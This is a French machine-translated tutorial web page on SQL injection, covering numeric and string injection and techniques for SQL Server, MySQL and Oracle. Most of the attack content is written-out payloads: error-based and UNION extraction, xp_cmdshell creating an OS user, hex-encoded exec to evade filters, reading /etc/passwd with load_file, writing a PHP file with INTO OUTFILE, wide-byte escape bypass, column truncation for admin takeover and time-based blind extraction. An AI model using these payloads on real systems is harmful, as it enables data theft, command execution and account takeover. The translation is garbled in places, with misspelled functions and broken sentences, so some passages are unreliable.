Maison >Opération et maintenance >Sécurité >Quelles sont les trois méthodes d'injection SQL ?

Quelles sont les trois méthodes d'injection SQL ?

青灯夜游
青灯夜游original
2020-07-20 16:46:3121374parcourir

Les trois méthodes d'injection SQL sont : 1. Injection numérique ; lorsque le paramètre d'entrée est un entier, il peut y avoir une vulnérabilité d'injection numérique. 2. Injection de caractères ; lorsque le paramètre d’entrée est une chaîne, une vulnérabilité d’injection de caractères peut exister. 3. Autres types (par exemple : injection de recherche, injection de cookies, injection POST, etc.).

Quelles sont les trois méthodes d'injection SQL ?

Principe d'injection SQL

L'attaque par injection SQL fait référence à la construction d'une entrée spéciale Passé dans le application Web en tant que paramètres, la plupart de ces entrées sont des combinaisons dans la syntaxe SQL. En exécutant des instructions SQL, l'attaquant effectue les opérations requises. La raison principale est que le programme ne filtre pas soigneusement les données saisies par l'utilisateur, ce qui entraîne des données illégales. système d’intrusion.

Classification des injections SQL

Injection numérique

Quand les paramètres d'entrée sont des entiers, il peut y avoir une vulnérabilité d'injection numérique.

Supposons qu'il existe une URL : HTTP://www.aaa.com/test.php?id=1
Vous pouvez deviner l'instruction SQL en arrière-plan comme :
SELECT * FROM table WHERE id=1

Déterminez le point d'injection SQL de la vulnérabilité numérique  :

① Entrez d'abord un guillemet simple '

dans la zone de saisie. L'instruction SQL deviendra :

, SELECT * FROM table WHERE id=1'

ne sont pas conformes à la syntaxe, donc l'instruction va certainement mal tourner, ce qui empêchera le script d'obtenir des données de la base de données, ce qui rendra la page d'origine anormale.

② Saisissez and 1 = 1

dans la zone de saisie L'instruction SQL devient :

SELECT * FROM table WHERE id=1 and 1 = 1

L'instruction. est correct, l'exécution est normale et les données renvoyées ne sont pas différentes de la demande d'origine.

③ Entrez and 1 = 2

dans la base de données L'instruction SQL devient :

SELECT * FROM table WHERE id=1 and 1 = 2

Bien que la syntaxe. est correct, l'instruction s'exécute normalement, mais la logique est erronée. Parce que 1 = 2 est définitivement faux, les données renvoyées sont différentes de la demande d'origine.

Si les trois étapes ci-dessus sont remplies, le programme peut avoir une vulnérabilité d'injection SQL numérique.

2. Injection de caractères

Lorsque le paramètre d'entrée est une chaîne, une vulnérabilité d'injection de caractères peut exister. La plus grande différence entre l'injection numérique et l'injection de caractères est que les types numériques n'ont pas besoin d'être fermés par des guillemets simples, tandis que les types de caractères

doivent généralement être fermés par des guillemets simples.

La chose la plus critique à propos de l'injection de caractères est de savoir comment

fermer l'instruction SQL et commenter le code redondant.

Supposons que l'instruction SQL d'arrière-plan soit la suivante :


SELECT * FROM table WHERE username = 'admin'

Déterminez le point d'injection SQL de la vulnérabilité du caractère :

① Ou entrez d'abord des guillemets simples pour tester l'instruction SQL de admin'

, qui deviendra :

. SELECT * FROM table WHERE username = 'admin''

La page est anormale.

② Entrée : admin' and 1 = 1 --

Remarque : Il y a un guillemet simple

après admin, qui est utilisé pour fermer la chaîne, et enfin il y a un caractère de commentaire '(--Il y a un espace après les deux barres !!!).

L'instruction SQL devient :

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

La page s'affiche correctement.

③ Entrée : admin' and 1 = 2 --

L'instruction SQL devient :

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

Erreur de page.

Si les trois étapes ci-dessus sont respectées, il peut y avoir une injection SQL de caractères.

3. Autres types

En fait, je pense qu'il n'y a que deux types d'injection SQL : numérique et caractère. Beaucoup de gens peuvent dire qu'il existe d'autres méthodes telles que : l'injection de cookies, l'injection POST, l'injection retardée, etc.

C'est effectivement le cas, mais ces types d'injections ne sont en fin de compte que différentes formes de présentation d'injections numériques et de caractères ou différents emplacements d'injection.

Voici quelques noms d'injection courants :

    Injection POST : le champ injecté est dans les données POST
  • Injection de cookie : le champ injecté est dans le cookie data
  • Injection retardée : injecter à l'aide de la fonction de retard de la base de données
  • Injection de recherche : le lieu d'injection est le lieu de recherche
  • injection base64 : la chaîne injectée doit être cryptée en base64

Injections de base de données courantes

Pour l'injection de base de données, les attaquants utilisent simplement la base de données pour obtenir plus de données ou des autorisations plus importantes. dans les catégories suivantes :

    Interroger des données
  • Lire et écrire des fichiers
  • Exécuter des commandes
Pour l'injection de programmes, les attaquants peu importe n'importe quelle base de données, elle fait ces trois choses, mais les instructions SQL injectées dans différentes bases de données sont différentes.

Voici les injections de trois bases de données : Oracle 11g, MySQL 5.1 et SQL Server 2008.

SQL Server

1. Utiliser les messages d'erreur pour extraire les informations

La base de données SQL Server est a Une très bonne base de données, capable de localiser avec précision les informations sur les erreurs, est une très bonne chose pour les attaquants, car ceux-ci peuvent extraire les données qu'ils souhaitent via des messages d'erreur.

① Énumérer la table ou la colonne actuelle

Supposons qu'une telle table existe :

Quelles sont les trois méthodes dinjection SQL ?
Interroger les détails de la racine Informations utilisateur, la proposition de l'instruction SQL est la suivante :
SELECT * FROM user WHERE username = 'root' AND password = 'root'

Un attaquant peut utiliser les fonctionnalités de SQL Server pour obtenir des informations sensibles, saisissez l'instruction suivante dans la zone de saisie :
' having 1 = 1 --
Exécution finale L'instruction SQL deviendra :
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

Ensuite, l'exécuteur SQL peut renvoyer une erreur :
Quelles sont les trois méthodes dinjection SQL ?

L'attaquant peut découvrir le courant Le nom de la table est user et l'identifiant du champ existe.

Un attaquant peut utiliser cette fonctionnalité pour continuer à obtenir d'autres noms de colonnes en saisissant l'instruction suivante :
' GROUP BY users.id HAVING 1 = 1 --
L'instruction SQL devient alors :
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

Throw Une erreur s'est produite :
Quelles sont les trois méthodes dinjection SQL ?
À partir de là, vous pouvez voir que le nom de la colonne nom d'utilisateur est inclus. Vous pouvez interroger de manière récursive une fois jusqu'à ce qu'aucun message d'erreur ne soit renvoyé. Vous pouvez donc utiliser la clause HAVING pour obtenir tous les noms de colonnes de la table actuelle.
Remarque : Chaque colonne spécifiée par Select doit apparaître dans la clause Group By, sauf si une fonction d'agrégation est utilisée pour cette colonne

② Extraction à l'aide d'erreurs de type de données Données.

L'éditeur SQL lèvera une exception si vous essayez de comparer une chaîne à une non-chaîne, ou de convertir une chaîne en un autre type incompatible.

L'instruction SQL suivante :
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

Message d'erreur de l'exécuteur :
Quelles sont les trois méthodes dinjection SQL ?
De cette façon, vous pouvez obtenir le nom d'utilisateur root. Parce que dans la sous-requête SELECT TOP 1 username FROM users, le premier nom d'utilisateur interrogé est renvoyé. Le type de retour est de type varchar, puis il est comparé à 1 de type int. Les deux types de données différents ne peuvent pas être comparés et une erreur est signalée. conduit à une violation de données.

Utilisez cette méthode pour dériver de manière récursive toutes les informations du compte :
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root')).
En construisant cette instruction, vous pouvez obtenir le nom d'utilisateur suivant ; si vous remplacez le nom d'utilisateur dans la sous-requête par d'autres noms de colonnes, vous pouvez obtenir les informations d'autres colonnes, qui ne seront pas décrites ici.

2. Obtenir des métadonnées

SQL Server fournit un grand nombre de vues pour faciliter l'obtention de métadonnées. Vous pouvez d'abord deviner le nombre de colonnes dans la table, puis utiliser UNION pour construire une instruction SQL afin d'obtenir les données.
Par exemple :
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Si le nombre de colonnes dans la table actuelle est de 2, vous pouvez utiliser l'instruction UNION pour obtenir la table de base de données actuelle. Comment deviner le nombre de colonnes dans le tableau actuel sera décrit plus tard.

Quelques vues de base de données système couramment utilisées :

数据库视图 说明
SYS.DATABASES SQL Server 中的所有数据库
SYS.SQL_LOGINS SQL Server 中的所有登录名
INFORMATION_SCHEMA.TABLES 当前用户数据库中的所有数据表
INFORMATION_SCHEMA.COLUMNS 当前用户数据库中的所有列
SYS.ALL_COLUMNS 用户定义对象和系统对象的所有列的联合
SYS.DATABASE_PRINCIPALS 数据库中每个权限或列异常权限
SYS.DATABASE_FILES 存储在数据库中的数据库文件
SYSOBJECTS 数据库中创建的每个对象 (包括约束、日志以及存储过程)

3. La clause ORDER BY devine le nombre de colonnes

Vous pouvez utiliser l'instruction ORDER BY pour déterminer le nombre de colonnes dans la table actuelle.

Par exemple :
SELECT * FROM users WHERE id = 1 - L'exécution SQL est normale

SELECT * FROM users WHERE id = 1 ORDER BY 1 (triée par la première colonne) - L'exécution SQL est normale

SELECT * FROM users WHERE id = 1 ORDER BY 2 (trié par la deuxième colonne) - L'exécution SQL est normale

SELECT * FROM users WHERE id = 1 ORDER BY 3 (triée par la troisième colonne) - L'exécution SQL est normale

SELECT * FROM users WHERE id = 1 ORDER BY 4 (triée par la quatrième colonne Tri des colonnes) - SQL lève une exception :
Quelles sont les trois méthodes dinjection SQL ?
On peut en conclure que le nombre de colonnes dans la table actuelle n'est que de 3, car une erreur se produit lors du tri par la 4ème colonne. Cette méthode s'applique également aux bases de données Oracle et MySql.

Après avoir connu le nombre de colonnes, l'attaquant coopère généralement avec le mot-clé UNION pour mener l'attaque suivante.

4. Requête UNION

Le mot-clé UNION combine deux résultats de requête ou plus en un seul ensemble de résultats. La plupart des bases de données prennent en charge les requêtes UNION. Cependant, les règles de base pour fusionner deux résultats à l'aide de UNION sont les suivantes :

  • Le nombre de colonnes dans toutes les requêtes doit être le même
  • Les types de données doivent être compatibles

① Utilisez la requête UNION pour deviner le nombre de colonnes
Non seulement vous pouvez utiliser la méthode ORDER BY pour deviner le nombre de colonnes, mais la méthode UNION peut également être utilisé.

Il y a 5 colonnes dans la table utilisateur supposée précédemment. Si nous utilisons UNION pour interroger :
SELECT * FROM users WHERE id = 1 UNION SELECT 1
La base de données émettra une exception :
Quelles sont les trois méthodes dinjection SQL ?
Peut Si vous effectuez une requête récursive jusqu'à ce qu'aucune erreur ne se produise, vous pouvez connaître le nombre de champs de requête dans la table User :
UNION SELECT 1,2, UNION SELECT 1,2,3

Vous pouvez également modifier le nombre après SELECT en null, de sorte que les erreurs sont moins susceptibles de se produire.

② Requête conjointe pour les informations sensibles
Après avoir su que le nombre de colonnes est de 4, vous pouvez utiliser l'instruction suivante pour continuer l'injection :
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (Remarque : xtype='U' Indique que le type d'objet est une table)

Si le type de données de la première colonne ne correspond pas, la base de données signalera une erreur et vous pourrez interroger de manière récursive jusqu'à ce que les instructions soient compatibles. Lorsque l'instruction est exécutée normalement, vous pouvez remplacer x par une instruction SQL pour interroger des informations sensibles.

5. Utilisez les fonctions système fournies par SQL Server

SQL Server fournit de nombreuses fonctions système, qui peuvent être utilisées pour accéder aux informations dans le système SQL Server. tables, sans utiliser d'instructions de requête SQL.

Par exemple :

  • SELECT suser_name() : renvoie le nom d'identification de connexion de l'utilisateur
  • SELECT user_name() : renvoie le nom d'utilisateur de la base de données en fonction de l'identification spécifiée number
  • SELECT db_name() : renvoie le nom de la base de données
  • SELECT is_member('db_owner') : s'il s'agit d'un rôle de base de données
  • SELECT convert(int, '5' ): Conversion de type de données

6. Procédure stockée

La procédure stockée est un ensemble de "fonctions" SQL utilisées pour exécuter des fonctions spécifiques dans les grands systèmes de bases de données, tels que : exécuter des commandes système, afficher le registre, lire les répertoires du disque, etc.

La procédure stockée la plus couramment utilisée par les attaquants est "xp_cmdshell", qui permet aux utilisateurs d'exécuter des commandes du système d'exploitation.
Par exemple : S'il y a un point d'injection dans http://www.aaa.org/test.aspx?id=1, alors l'attaquant peut mettre en œuvre l'attaque par commande :
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

L'instruction SQL finale exécutée est la suivante :
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
L'instruction après le point-virgule permet à l'attaquant de créer un nouvel utilisateur sur le serveur de l'autre partie avec le test du nom d'utilisateur et le test du mot de passe.
Remarque : aucun utilisateur de base de données ne peut utiliser ce type de procédure stockée, L'utilisateur doit détenir l'autorisation CONTROL SERVER.

Les procédures stockées dangereuses courantes sont les suivantes :

存储过程 说明
sp_addlogin 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表
xp_regread 读取注册表
xp_regwrite 写入注册表
xp_redeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务

De plus, toute base de données nécessite des autorisations spécifiques lors de l'utilisation de certaines fonctions spéciales ou procédures stockées. Les rôles et autorisations courants de la base de données SQL Server sont les suivants :

角色 权限
bulkadmin 可以运行 BULK INSERT 语句
dbcreator 可以创建、更改、删除和还原任何数据库
diskadmin 可以管理磁盘文件
processadmin 可以种植在数据库引擎中运行的实例
securityadmin 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码
serveradmin 可以更改服务器范围的配置选项和关闭服务器
setupadmin 可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin 可以在数据库引擎中执行任何活动

7. Exécution dynamique

SQL Server prend en charge l'exécution dynamique des instructions. Les utilisateurs peuvent soumettre une chaîne pour exécuter des instructions SQL.

Par exemple : exec('SELECT username, password FROM users')

Vous pouvez également définir une instruction SQL hexadécimale et utiliser la fonction exec pour l'exécuter. La plupart des applications Web et des pare-feu filtrent les guillemets simples. L'utilisation de exec pour exécuter des instructions SQL hexadécimales peut contourner de nombreux pare-feu et programmes anti-injection, tels que :

declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)

ou :
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

MySQL

Le processus d'injection de SQL Server a été décrit en détail précédemment. Lors de l'injection dans d'autres bases de données, l'idée de base est la même, à l'exception des fonctions ou des instructions. utilisés par les deux sont légèrement différents

.

1. Commentaires dans MySQL

MySQL prend en charge les 3 styles de commentaires suivants :

« # » : les commentaires commencent par « # » Jusqu'à la fin de la ligne
  • "-- " : Le commentaire passe de la séquence "--" à la position de la ligne. A noter que lors de l'utilisation de ce commentaire, il doit être suivi d'un espace.
  • /**/ : commentaires de /* à*/ caractères entre
2. Obtenez les métadonnées

MySQL 5.0 et supérieur fournissent INFORMATION_SCHEMA, qui est une base de données d'informations. Permet d'accéder aux métadonnées de la base de données. Voici comment lire le nom de la base de données, le nom de la table et le nom de la colonne.

① Interroger le nom de la base de données utilisateur


La table INFORMATION_SCHEMA.SCHEMATA fournit des informations sur la base de données. SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
②Interroger la table de données actuelle


La table INFORMATION_SCHEMA.TABLES donne des informations sur les tables de la base de données. SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
③Interroger tous les champs de la table spécifiée


INFORMATION_SCHEMA.COLUMNS Les informations sur les colonnes du tableau sont données dans le tableau. SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'

3. La requête UNION

est à peu près la même que SQL Server et ne sera pas décrite ici.

4. Utilisation des fonctions MySQL

Qu'il s'agisse de MySQL, d'Oracle ou d'autres bases de données, il existe de nombreuses fonctions système intégrées. , nous en présenterons quelques-unes qui sont utiles aux testeurs d'intrusion.

① La fonction Load_file() lit l'opération de fichier

MySQL fournit la fonction Load_file() pour aider les utilisateurs à lire rapidement les fichiers, mais l'emplacement du fichier doit être sur le server , le fichier doit être un chemin absolu et l'utilisateur doit disposer de l'autorisation FILE et la capacité du fichier doit être inférieure à max_allowed_packet octets (la valeur par défaut est de 16 Mo, le maximum est de 1 Go).

L'instruction SQL est la suivante :


UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #Habituellement, certaines instructions anti-injection n'autorisent pas l'apparition de guillemets simples, vous pouvez donc utiliser l'instruction suivante pour la contourner :


"0x2F6561342F706173737764" est le résultat de la conversion hexadécimale de "/etc/passwd". UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
Lorsque le navigateur renvoie des données, il peut y avoir des caractères tronqués, vous pouvez donc utiliser la fonction hex() pour convertir la chaîne en données hexadécimales.

② dans l'opération d'écriture de fichier sortant

MySQL fournit l'opération d'écriture de fichiers sur le disque Comme load_file(), vous devez disposer des autorisations FILE et le fichier doit être plein. . Nom du chemin.

Écrire le fichier :


SELECT '<?php phpinfo();?>' into oufile 'C:wwwroot1.php'

③ Chaîne de connexion

MySQL Si vous devez interroger plusieurs données en même temps, vous pouvez utilisez la fonction concat() ou concat_ws() pour terminer.

;

SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version())Vous pouvez également changer la virgule en représentation hexadécimale : 0x2c

5. Injection d'erreur explicite MySQL

MySQL dispose également d'une injection d'erreurs explicite, qui peut utiliser des erreurs pour extraire des messages, tout comme la base de données SQL Server.

① Exécuter des instructions SQL via la fonction updatexml

Comprenez d'abord la fonction updatexml() :

updatexml (XML_document, XPath_string, new_value);

Premiers paramètres : XML_document est au format String, qui est le nom de l'objet document XML ;
Le deuxième paramètre : XPath_string (chaîne au format Xpath),
Le troisième paramètre : new_value, au format String, remplace la correspondance trouvée. La fonction concat() des données conditionnelles

les concatène en une chaîne, elle ne sera donc pas conforme au format de XPATH_string, ce qui entraînera des erreurs de format, des erreurs et un affichage méconnaissable : SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)

② Utilisez la fonction extractvalue
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
pour afficher l'utilisateur actuel avec la même erreur :
Quelles sont les trois méthodes dinjection SQL ?

6. Injection d'octets larges

L'injection d'octets larges est causée par une incohérence d'encodage Cette injection se produit généralement en PHP + MySQL.

Il existe une option magic_quotes_gpc dans le fichier de configuration PHP php.ini, qui s'appelle magic quotes. Lorsque cette option est activée, utilisez des guillemets simples ('), des guillemets doubles acceptés par GET, POST. , et Cookie. Les guillemets ("), la barre oblique inverse () et les caractères NULL sont automatiquement échappés avec une barre oblique inverse .

Utilisez le code PHP comme suit pour utiliser $_GET pour recevoir les paramètres :
Quelles sont les trois méthodes dinjection SQL ?

Si vous accédez à l'URL : http:/www.xxser.com/Get.php?id=', elle s'affichera comme suit :
Quelles sont les trois méthodes dinjection SQL ?

Une fois le guillemet simple ' échappé, il devient '. Dans MySQL, ' est un caractère légal, il n'y a donc aucun moyen de fermer le guillemet simple. Par conséquent, lorsque le type d'injection est de type caractère,

ne peut pas être injecté. : %d5', l'URL d'accès : http:/www.xxser.com/Get.php?id=%d5' sera affichée comme suit :
Quelles sont les trois méthodes dinjection SQL ?
Vous pouvez constater que les guillemets simples ne sont pas échappés cette fois, vous pouvez donc percer l'échappement PHP et continuer. pour fermer l'instruction SQL pour l'injection SQL.

7. Troncation des caractères longs MySQL

La troncature des caractères longs MySQL est également connue sous le nom de « troncature de colonne SQL ». 🎜>Il existe une option sql_mode dans un paramètre de MySQL. Lorsque sql_mode est défini par défaut, c'est-à-dire que lorsque l'option STRICT - ALL_TABLES n'est pas activée, MySQL affichera uniquement un avertissement au lieu d'une erreur lors de l'insertion d'une valeur trop longue. .

Supposons qu'il y ait un tableau comme suit :


Quelles sont les trois méthodes dinjection SQL ?champ nom d'utilisateur.

Insérez les instructions SQL suivantes :

① Insérez le. Instruction SQL normale :

INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
Quelles sont les trois méthodes dinjection SQL ?Insérer avec succès. Insérez la mauvaise instruction SQL afin que la longueur du champ du nom d'utilisateur dépasse 7 :


INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');Bien qu'il y ait un avertissement, l'insertion a réussi
Quelles sont les trois méthodes dinjection SQL ?③ Essayez à nouveau d'insérer une erreur. La longueur de l'instruction SQL dépasse la longueur spécifiée d'origine :


INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
Interrogez la base de données : Quelles sont les trois méthodes dinjection SQL ?

Vous pouvez voir que les trois éléments de données sont insérés dans la base de données, mais la valeur change par défaut, si les données dépassent la longueur par défaut. , MySQL va le mettre en scène. Mais comment attaquer l'utilisateur nommé admin ?
Quelles sont les trois méthodes dinjection SQL ?
On peut constater que seul l'utilisateur nommé admin est interrogé, mais les deux autres utilisateurs admin avec des longueurs incohérentes sont également interrogés, ce qui posera des problèmes de sécurité

Par exemple, il y a un administrateur qui porte ce jugement lors de la connexion :
Quelles sont les trois méthodes dinjection SQL ?

Ensuite, l'attaquant n'a qu'à enregistrer un nom d'utilisateur "admin". " dont la longueur dépasse la longueur spécifiée pour accéder facilement à la page de gestion du backend.


$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";8. Injection retardée

L'injection retardée est une sorte de technologie d'injection aveugle, qui est une technologie d'injection basée sur le décalage horaire. Ce qui suit utilise MySQL comme exemple pour introduire l'injection retardée.

Il existe une fonction dans MySQL : sleep(duration). Cette fonction permet d'exécuter l'instruction après que le paramètre de durée soit donné pendant quelques secondes. L'instruction SQL suivante :

signifie que l'instruction sera exécutée dans 3 secondes. Exécutez ensuite l'instruction SQL.

Vous pouvez utiliser cette fonction pour déterminer si l'URL présente une vulnérabilité d'injection SQL Les étapes sont les suivantes :
Quelles sont les trois méthodes dinjection SQL ?
Cela peut être conclu à partir du monde renvoyé par le. page sur laquelle le SGBD a exécuté l'instruction and sleep(3) De cette manière, il peut être déterminé que l'URL présente une vulnérabilité d'injection SQL.

Ensuite, les données peuvent également être lues via la fonction sleep(), mais cela nécessite la coopération d'autres fonctions :
①Interrogez l'utilisateur actuel et obtenez la longueur de la chaîne.
Exécutez l'instruction SQL :
AND if(length(user()) = 0, sleep(3), 1)
S'il y a un délai de 3 secondes, la longueur de la chaîne utilisateur peut être jugée. Lors de l'injection, l'algorithme demi est généralement utilisé pour réduire. le jugement.

② Interceptez le premier caractère de la chaîne et convertissez-le en code ASCII
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
......
Changez continuellement le code ASCII jusqu'à il y a un délai de 3 secondes. Vous pouvez deviner le premier caractère.

③ Interceptez récursivement chaque caractère de la chaîne et comparez-le respectivement avec le code ASCII
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
Remarque : la position de L représente le caractère de la chaîne et la position de N représente le code ASCII.

Non seulement les fonctions de délai existent dans MySQL, mais il existe également des fonctions avec des fonctions similaires dans des bases de données telles que SQL Server et Oracle, telles que le délai d'attente dans SQL Server et DBMS_LOCK.SLEEP dans Oracle.

Oracle

1. Obtenir des métadonnées

Oracle prend également en charge l'interrogation des métadonnées, comme suit. est une vue de métadonnées couramment utilisée injectée par Oracle :
① vue user_tablespaces, afficher les espaces table
SELECT tablespace_name FROM user_tablespaces

② vue user_tables, afficher toutes les tables de l'utilisateur actuel
SELECT table_name FROM user_tables WHERE rownum = 1

③ vue user_tab_columns, affichez toutes les colonnes de l'utilisateur actuel, par exemple en interrogeant toutes les colonnes de la table utilisateur :
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ vue all_users, affichez tous les utilisateurs de la base de données ORacle
SELECT username FROM all_users

⑤ vue user_objects, affiche tous les objets (noms de table, contraintes, index) de l'utilisateur actuel
SELECT object_name FROM user_objects

2.

Oracle, comme MySQL, ne prend pas en charge l'exécution de plusieurs instructions contrairement à SQL Server, qui peut être séparé par des points-virgules pour injecter plusieurs instructions SQL.

① Obtenir le nombre total de colonnes
La méthode pour obtenir le nombre total de colonnes est similaire aux deux bases de données précédentes, et peut toujours être effectuée en utilisant la clause ORDER BY.

Une autre méthode consiste à utiliser le mot clé UNION pour déterminer, mais Oracle stipule que chaque requête doit être suivie du nom de la table, sinon la requête ne sera pas établie .

Peut être utilisé dans Oracle :
UNION SELECT null, null, null …… FROM dual
Le dual ici est une table virtuelle dans Oracle Vous pouvez utiliser cette table comme table de requête sans savoir quelles tables existent dans la base de données.

Ensuite, récupérez la colonne de type non numérique, c'est-à-dire que peut afficher la colonne d'informations  :
UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual

Mettre chaque chiffre null est entouré de guillemets simples ' tour à tour. Si rapporte une erreur, ce n'est pas une colonne de type chaîne si renvoie normal, c'est une colonne de type chaîne , et vous pouvez saisir l'instruction Insérer la requête correspondante à l'emplacement pour obtenir les informations.

② Obtenir des informations sensibles Les informations sensibles courantes sont les suivantes :

    Autorisations de l'utilisateur actuel :
  • SELECT * FROM session_roles
  • Base de données actuelle version :
  • SELECT banner FROM sys.v_$version WHERE rownum = 1
  • IP d'exportation du serveur : utilisez
  • pour obtenir utl_http.request
  • IP de surveillance du serveur :
  • SELECT utl_inaddr.get_host_address FROM dual
  • Système d'exploitation du serveur :
  • SELECT member FROM v$logfile WHERE rownum = 1
  • SID du serveur :
  • SELECT instance_name FROM v$instance
  • Utilisateur actuellement connecté :
  • SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual

③ Obtenez la table de la base de données et son contenu Obtenez le table Après le nombre de colonnes, vous pouvez interroger le nom de la table et le nom de la colonne en interrogeant les métadonnées, puis interroger les données, telles que :

http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users -- Remarque : lors de l'interrogation de données, vous devez également faire attention à le type de données, sinon la requête ne peut pas être effectuée. Vous ne pouvez tester qu'un par un et modifier la position de requête des paramètres.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn